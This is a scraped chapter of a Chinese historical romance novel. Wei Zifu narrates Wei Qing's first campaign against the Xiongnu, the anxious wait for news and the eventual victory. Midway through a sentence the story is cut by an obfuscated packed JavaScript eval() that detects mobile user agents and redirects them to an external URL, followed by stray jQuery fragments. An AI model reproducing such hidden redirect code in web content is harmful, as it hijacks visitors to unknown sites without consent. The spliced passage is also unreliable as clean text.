51.第 51 章
    元光六年春,匈奴再次兴兵南下,直指上谷,烧砸抢夺,杀略吏民。朝堂之上照例进行了几场关于是否出兵的辩论,而最后的结果是,刘彻决定再次对匈奴实施反击,出兵上谷。

    熬过了漫长的冬日,好不容易盼来大地回春,一场突如其来的倒春寒天气,又将人拉回到冰天雪地,大雪纷飞的日子,未央宫再一次被漫天的冰雪覆盖。

    我最是畏寒,抬头看了一眼外面白茫茫的一片,忍不住的瑟缩了一下,又继续去查探炉子上煨的酒,迎面而来的香气令人陶醉,忙盛了两杯出来,递给正在一旁论战的刘彻和卫青。

    刘彻端着耳杯,看着案上的地图,对卫青道:“上次你说过,朝廷的那些老将已经适应不了新的战争形势了,朕也是这么想的,所以这次出兵,朕打算启用些新人,你有什么看法?”

    卫青说道:“新人思维敏捷,开阔,启用新人固然很有必要,可新人缺乏实战经验,真正打起仗来,也没人知道会怎么样,所以臣以为,如果新将老将一起上,以老带新的方式或许更为妥当,这样也不至于寒了朝中老将的心。”

    “正是因为不知道新人会打成什么样,所以才有无限可能,反而是老将,他们能打成什么样朕心里清清楚楚,打不出什么新花样了!”

    刘彻小酌了一口,沉思了片刻,又道:“不过你说的对,不能寒了朝中老将的心。”

    卫青一边饮酒一边点头表示认同。

    刘彻又继续道:“韩安国摔断了腿,他是不宜在领兵了,就让他留在后方,负责后勤补给吧。至于李广……他倒有些能耐,名气也不小,倒是可以再试一试。”

    “至于其他人嘛……”刘彻有些犹豫:“公孙贺和朕一起长大,知道朕想要什么,也带过兵,这次还让他去……”

    卫青忽然放下酒杯,到案前行了一个军礼,恳切道:“臣请战,愿做先锋部队随军出征,请陛下恩准!”

    我闻言心下一惊,不禁抬头看向刘彻,殿中有片刻沉寂,刘彻沉默稍许,问道:“你当真想去?”

    “保家卫国,臣之所向!”卫青言辞坚定,面不改色。

    刘彻又道:“既然要去,也别做什么先锋了,要做就做将军,给朕打赢了回来。”

    卫青诧异,推辞道:“臣资历尚浅,做不了将军!”

    “打仗论的是输赢,不是资历,我且问你,你有没有信心打好这一仗?”

    “臣有信心!”

    心头的震惊与担忧,完全被他铿锵有力的四个字震慑住,这一刹那,我竟也相信,只要让他去了战场,他一定可以所向披靡,战无不胜。

    “就是要有这样的气魄!”刘彻把耳杯往桌上一扣,又道:“只要你给朕打赢了,剩下的事,朕替你办。”

    卫青兴奋道:“谢陛下。”

    我上前给他们添酒,对卫青道:“战场都没上过,你哪来的信心可以打赢匈奴?”

    卫青看了刘彻一眼,笑道:“阿姐,我虽没上过战场,可这些年跟着陛下也学了不少,心里已经和匈奴大战了个千百个回合,早就把匈奴打的落荒而逃了。”

    听他一说,刘彻当即大笑起来,曾经的那些设想终于要付诸实践了。

    我听着也觉得又好气又好笑,嗔道:“你这酒还没喝呢,人就先醉了。”

    又对刘彻道:“陛下可别上了他的当,打仗是大事,还是考虑好了再做决定吧!”

    “卫青说的对,咱们这么多年不是白准备的,你就相信他吧。”

    刘彻唤人取来一把宝剑过来,递给卫青道:“这把剑朕先搁你这儿,记住你说的话,给朕打赢了回来,如果你要是敢给朕打输了,就听你阿姐的,老老实实回家种地去,别在朕跟前丢人现眼。”

    我闻言又是一笑,目光落在那柄宝剑上,剑身由青铜铸造,绘有龙腾九霄的花纹,饰以七彩珠和九华玉,手柄上镌刻着“赤霄”二字,我听刘彻说过,这赤霄剑是高祖皇帝斩白蛇起义时所用的剑,立有不世之功,宝剑既出,我便知他主意已定,也不好再说什么了。

    不过十来日的功夫,刘彻就想好了作战计划。以李广为骁骑将军出雁门,以公孙贺为轻车将军出云中,启用新人公孙敖为骑将军出代郡,以卫青为车骑将军出上谷。四路各领一万骑兵,不设主将。

    相较于马邑之围的三十万大军,这一仗刘彻显然要谨慎务实的多。

    出征那日,我亲手赶制了一件披风送给卫青,道:“愿弟弟一路顺风,出师告捷!”说话间,鼻头不禁有些酸涩,极力忍住,不让眼泪掉下。

    “我能得偿所愿,一展抱负,阿姐应该替我高兴才是!”卫青宽慰我,又换上我做给他的披风,在我面前转了一圈,略带风趣的道:“有了阿姐这件披风,我一定可以风卷残云,所向披靡,将贼人打的落花流水,滚回他们的老巢去!”

    他既要哄我开心,我也不能让他失望,略一低头,又换上一副笑颜对他道:“阿姐相信你,阿姐也等着你平安凯旋。”

    我不能送他们出征,只能在城楼上眺望将士们远去的背影。赤色的旌旗恣意飞扬在三月的春风里,疯狂展示着他们对希望和胜利的渴望,旌旗上的巍巍“汉”字,亦是他们不朽的灵魂和脊梁。

    等消息的那些日子,我的内心无比焦急,几乎是数着日子过,刘彻的状态也不比我好,除了日常政务,他有一半的时间都在温室殿陪着我和孩子。

    刘彻对我道:“我这次是有意把他放在战争的始发地上谷方向,因为相比其他人而言,我更相信卫青!”

    “妾谢陛下信任卫青!”我道:“妾希望他能不辜负陛下的期望,更希望他能平安回来。”

    “平安回来是一定的!”刘彻握紧了我的手。

    他手上的温度有些微微灼热感,我知道他的内心一定是激情澎湃的,汉军已经输了一次,不可以再输第二次,所以他对卫青的期望要远远高于我对他的期望。

    若说前面等消息是艰难的,那么当前线战报陆续传来的时候,我的内心就是无比煎熬。

    作战经验丰富的李广在雁门遭遇匈奴主力军,所领一万将士全军覆没,就连李广本人也被匈奴活捉,靠着使诈才捡回一条命。公孙敖战败,损兵七成。大姐夫公孙贺再次无功而返,连匈奴的人影都没见到。而卫青一部杳无音讯,失了踪迹。

    “阿姐!”公孙婵急得伏在我的膝盖上直掉泪:“他怎么就失踪了呢?”

    我害怕大哥的遭遇再次重现在卫青身上,心下也是焦心不已,面上却

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240112|148616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    仍旧要保持镇定去安慰她:“现在没有消息就是好消息,起码说明卫青还活着,只是不知道在哪儿而已,陛下已经派人去找了,你放心吧,我们要相信卫青。”

    她点头道:“只要卫青能平安回来,我立马给他纳妾,想纳多少都行!”

    原本低落的心情却被她这句话给逗笑了,我知道她是因为无法给卫青添个子嗣所以才这么说的,又宽慰道:“阿青也没说他要纳妾啊,你瞎想什么呢?”

    “我说的是真的”,她哀泣道:“我身子不好,从成亲到现在,一直没能给他添个孩子,他怜惜我,从来不跟我提,我也只装作不知,可我知道他是想要孩子的,阿姐,他回来,我一定不装傻了,他想要多少孩子都可以。”

    “好了好了”,我拍着她的后背道:“他会回来的,这些事等他回来再说吧,你别想了,好好的,等他回来。”

    此后,为了尽快得到卫青的消息,公孙婵每日天不亮就进宫,天黑才离开,一等就是一整天。而大姐二姐进宫的次数也是越来越频繁。

    对于卫青没有消息这件事,刘彻也是焦灼的,四路大军败了三路,现在只剩卫青这一路了,所以不管是输是赢,他一定是要一个结果的,他派了很多人出去找,都没有结果。

    没有结果对我来说真的是最好的结果了,就连身经百战的李广都全军覆没了,我实在不知道卫青能有多大胜算。而现在没有一点消息,起码说明一点,卫青没输。

    我已经不敢奢望卫青能打胜仗了,只希望他能平安回来,我已经没了哥哥,不能再没了弟弟。

    相对于刘彻,我的终究是私情,刘彻担负却是天下。我与他说不上谁比谁煎熬,很多时候都是相互安慰,互相取暖。

    比如,我难受的时候,他会安慰我说:“你还记得马邑之围那次,卫青对战争形势的分析么?从那时起,我就觉得卫青不简单,你别看他平时不显山不露水的,关键时刻,他还是很有想法的。”

    “他分析的很对,与匈奴作战,需得用骑兵,我还专门让他研究过用骑兵作战的战术,这次我派出去的都是骑兵,李广他们不会用,所以才会这样,但是卫青不同,他在军营里钻研了这么多年,是有优势的。所以咱们要相信他,他一定会回来的。”

    而他情绪低落时,我也会这样宽慰他:“连人带马两万多呢,不可能一个都找不到,没有消息就说明他们都还活着,或许是迷路了,又或者是他们打到别的什么地方去了,有什么惊喜也说不定,他们会回来的,如果回不来,咱们就继续找,总能找到的。”

    就这样相互慰藉了大半个月,直到彼此的心情都跌进万丈深渊,感觉希望渺茫,无法再用单薄的言语去支撑对方的时候,便只能将仅存的希望寄托在祖宗神明之上,刘彻频繁的前往太庙祈福祭祀,而我则日日到宣德殿为他们虔诚祝祷,共同祈求上苍护佑卫青及诸位汉家将士平安凯旋。

    那是我在宣德殿祝祷的第七日,我双手合十,虔诚的向上苍祷告,愿以自身二十年的寿命来换取卫青以及汉家将士的平安,刘彻突然闯了进来,激动的一把将我抱住:“赢了,赢了,卫青赢了!”

    听到这个消息,我的心情直冲云霄,巨大的情绪起伏,致使我当场大哭,一度晕厥。